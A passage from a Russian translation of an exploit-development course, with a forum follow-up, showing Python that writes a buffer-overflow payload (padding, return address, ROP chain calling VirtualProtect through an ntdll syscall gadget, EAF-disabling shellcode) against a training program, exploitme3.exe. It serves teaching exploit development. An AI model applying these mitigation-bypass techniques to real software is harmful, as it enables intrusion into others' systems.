        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

Первая часть ROP-цепочки инициализирует аргументы, которые размещены в её конце:

    # real_code:
        0x90901eeb,          # jmp skip

    # args:
        0xffffffff,          # current process handle
        0x11111111,          # &address = ptr to address
        0x11111111,          # &size = ptr to size
        0x40,
        md + 0x705658f2,     # &Writable location [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size

Второй аргумент (&address) перезаписывается end_args, а третий аргумент (&size) перезаписывается end_args + 4. В заключение, адрес в end_args перезаписывается своим адресом (end_args).

Обратите внимание на то, что наш код начинается с real_code, таким образом мы должны перезаписать адрес с real_code, но в этом нет никакой необходимости, потому что VirtualProtect работает со страницами, поэтому с большой вероятностью, real_code и end_args будут указывать на туже страницу.

Вторая часть ROP-цепочки находит вызов call dword ptr fs:[0C0h] # add esp,4 # ret 14h в ntdll.dll и осуществляет вызов сервиса ядра.

Итак, у нас все готово, приступим к запуску. Для этого, сначала запустите Python скрипт. Он создаст файл name.dat. Затем запустите наш эксплойт exploitme3.exe. Он должен работать просто великолепно!

Теперь можете включить все виды защит (за исключением ASR) и убедиться в том, что наш эксплойт все еще работает!

© Translated by Prosper-H (r0 Crew)
#2

Кто пробовал пройти курс? поясните это место, плз:
“Когда нажмем F5 (go), получим странное исключение:” и дальше

Судя по листингу, у автора EAF срабатывает не на шеллкод, а на ntdll!LdrpSnapThunk
в шеллкоде на kernel32!$$VProc_ImageExportDirectory указывает ebx+esi
Почему?

Практически весь этот кусок отличается при тесте :frowning: даже аппаратные бряки пустые